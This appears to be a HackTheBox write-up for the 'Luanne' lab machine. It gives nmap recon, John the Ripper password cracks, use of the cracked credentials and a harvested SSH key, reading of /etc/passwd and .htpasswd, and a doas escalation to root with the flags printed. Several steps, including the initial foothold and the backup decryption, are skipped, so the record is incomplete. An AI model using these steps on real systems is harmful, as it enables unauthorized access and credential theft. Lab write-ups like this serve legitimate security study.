┌──(root💀kali)-[~/hackthebox/machine/luanne] └─# nmap -sV -v -p- --min-rate=10000 10.10.10.218 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.0 (NetBSD 20190418-hpn13v14-lpk; protocol 2.0) 80/tcp open http nginx 1.19.0 9001/tcp open http Medusa httpd 1.12 (Supervisor process manager) Service Info: OS: NetBSD; CPE: cpe:/o:netbsd:netbsd
┌──(root💀kali)-[~/hackthebox/machine/luanne] └─# nmap -sV -sC -v -p 22,80,9001 10.10.10.218 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.0 (NetBSD 20190418-hpn13v14-lpk; protocol 2.0) | ssh-hostkey: | 3072 20:97:7f:6c:4a:6e:5d:20:cf:fd:a3:aa:a9:0d:37:db (RSA) | 521 35:c3:29:e1:87:70:6d:73:74:b2:a9:a2:04:a9:66:69 (ECDSA) |_ 256 b3:bd:31:6d:cc:22:6b:18:ed:27:66:b4:a7:2a:e4:a5 (ED25519) 80/tcp open http nginx 1.19.0 | http-auth: | HTTP/1.1 401 Unauthorized\x0D |_ Basic realm=. | http-methods: |_ Supported Methods: GET HEAD POST | http-robots.txt: 1 disallowed entry |_/weather |_http-server-header: nginx/1.19.0 |_http-title: 401 Unauthorized 9001/tcp open http Medusa httpd 1.12 (Supervisor process manager) | http-auth: | HTTP/1.1 401 Unauthorized\x0D |_ Basic realm=default |_http-server-header: Medusa/1.12 |_http-title: Error response Service Info: OS: NetBSD; CPE: cpe:/o:netbsd:netbsd
Port-80
They asking us for a username and Password.
If we see in our nmap result they tell us about robots.txt.
Let’s check out that quickly
1 2
User-agent: * Disallow: /weather #returning 404 but still harvesting cities
There is a one directory called /weather in the disallow entries.
Let’s check that directory.
Hmm they said 404 not found.
Let’s use gobuster to find inside /weather directory.
┌──(root💀kali)-[~/hackthebox/machine/luanne] └─# john -w=/usr/share/wordlists/rockyou.txt hash Warning: detected hashtype"md5crypt", but the string is also recognized as "md5crypt-long" Use the "--format=md5crypt-long" option to force loading these as that type instead Using default input encoding: UTF-8 Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status iamthebest (?) 1g 0:00:00:00 DONE (2020-12-04 02:01) 7.142g/s 21942p/s 21942c/s 21942C/s my3kids..ANTHONY Use the "--show" option to display all of the cracked passwords reliably Session completed
And we got the password for webapi_user:iamthebest.
There is a port called 3001 that run in the localhost Let’s check this real quick.
1 2 3 4 5 6 7 8 9 10 11 12
$ nc 127.0.0.1 3001 cat /etc/passwd HTTP/0.9 404 Not Found Content-Type: text/html Content-Length: 217 Server: bozohttpd/20190228
<html><head><title>404 Not Found</title></head> <body><h1>404 Not Found</h1> /etc/passwd: <pre>This item has not been found</pre> <hr><address><a href="//luanne.htb:3001/">luanne.htb:3001</a></address> </body></html>
Let’s curl that web server inside the machiene.
1 2 3 4 5 6 7 8 9
$ curl http://127.0.0.1:3000/ % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 199 100 199 0 0 99500 0 --:--:-- --:--:-- --:--:-- 99500 <html><head><title>401 Unauthorized</title></head> <body><h1>401 Unauthorized</h1> /: <pre>No authorization</pre> <hr><address><a href="//127.0.0.1:3000/">127.0.0.1:3000</a></address> </body></html>
It said Unauthorized Let’s try those credentials which we cracked.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
$ curl --user webapi_user:iamthebest http://127.0.0.1:3001/ % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 386 100 386 0 0 125k 0 --:--:-- --:--:-- --:--:-- 125k <!doctype html> <html> <head> <title>Index</title> </head> <body> <p><h3>Weather Forecast API</h3></p> <p><h4>List available cities:</h4></p> <a href="/weather/forecast?city=list">/weather/forecast?city=list</a> <p><h4>Five day forecast (London)</h4></p> <a href="/weather/forecast?city=London">/weather/forecast?city=London</a> <hr> </body> </html>
After some hit and try i find a way to get id_rsa file.
First Let’s check /etc/passwd file which user has in the box.
┌──(root💀kali)-[~/hackthebox/machine/luanne] └─# chmod 600 id_rsa ┌──(root💀kali)-[~/hackthebox/machine/luanne] └─# ssh -i id_rsa r.michaels@10.10.10.218 The authenticity of host '10.10.10.218 (10.10.10.218)' can't be established. ECDSA key fingerprint is SHA256:KB1gw0t+80YeM3PEDp7AjlTqJUN+gdyWKXoCrXn7AZo. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.10.218' (ECDSA) to the list of known hosts. Last login: Fri Sep 18 07:06:51 2020 NetBSD 9.0 (GENERIC) #0: Fri Feb 14 00:06:28 UTC 2020 Welcome to NetBSD! luanne$ id uid=1000(r.michaels) gid=100(users) groups=100(users) luanne$ whoami r.michaels luanne$ ls backups devel public_html user.txt luanne$ cat user.txt ea5f0ce6a917b0be1eabc7f9218febc0
and we got user.txt
Now let me explain why ~r.michaels/.ssh/id_rsa is not work.
If we see the r.michaels home directory there is a folder called public_html and inside this there is a id_rsa file
So this folder is shared through web so we can access the public_html folder.
1 2 3 4 5
luanne$ ls backups devel public_html user.txt luanne$ cd public_html/ luanne$ ls id_rsa
Privilege escalation
I found an interesting file called devel_backup-2020-09-16.tar.gz.enc inside backups on r.michaels directory.
1 2 3 4
luanne$ pwd /home/r.michaels/backups luanne$ ls devel_backup-2020-09-16.tar.gz.enc
But it’s a .enc file so we can’t extract it with tar -xf.
After some google search i found a way to extract the file of .enc.
luanne$ cd /tmp luanne$ ls devel_backup-2020-09-16.tar.gz luanne$ tar -xf devel_backup-2020-09-16.tar.gz luanne$ ls devel-2020-09-16 devel_backup-2020-09-16.tar.gz luanne$ cd devel-2020-09-16 luanne$ ls webapi www luanne$ cd www luanne$ ls index.html luanne$ ls -la total 32 drwxr-xr-x 2 r.michaels wheel 96 Sep 16 15:03 . drwxr-x--- 4 r.michaels wheel 96 Sep 16 15:02 .. -rw-r--r-- 1 r.michaels wheel 47 Sep 16 18:14 .htpasswd -rw-r--r-- 1 r.michaels wheel 378 Sep 16 15:03 index.html luanne$ cat .htpasswd webapi_user:$1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu.
We got another hash but this is different from previous hash.
1
webapi_user:$1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu.
Let’s try to crack this hash with john.
1 2 3 4 5 6 7 8 9 10 11 12
┌──(root💀kali)-[~/hackthebox/machine/luanne] └─# john -w=/usr/share/wordlists/rockyou.txt hash1 Warning: detected hashtype"md5crypt", but the string is also recognized as "md5crypt-long" Use the "--format=md5crypt-long" option to force loading these as that type instead Using default input encoding: UTF-8 Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status littlebear (?) 1g 0:00:00:00 DONE (2020-12-04 02:24) 16.66g/s 217600p/s 217600c/s 217600C/s jayar..hello11 Use the "--show" option to display all of the cracked passwords reliably Session completed
and we got the pass
1
webapi_user:littlebear
We got the password littlebear
But the problem is we cant change the user because sudo is not working.
After some google search i found the way to switch the user to root.
doas — execute commands as another user
1 2 3 4 5 6 7 8 9 10 11
luanne$ doas -u root /bin/sh Password: sh: Cannot determine current working directory # id uid=0(root) gid=0(wheel) groups=0(wheel),2(kmem),3(sys),4(tty),5(operator),20(staff),31(guest),34(nvmm) # whoami root # pwd pwd: getcwd() failed: No such file or directory # cat /root/root.txt 7a9b5c206e8e8ba09bb99bd113675f66
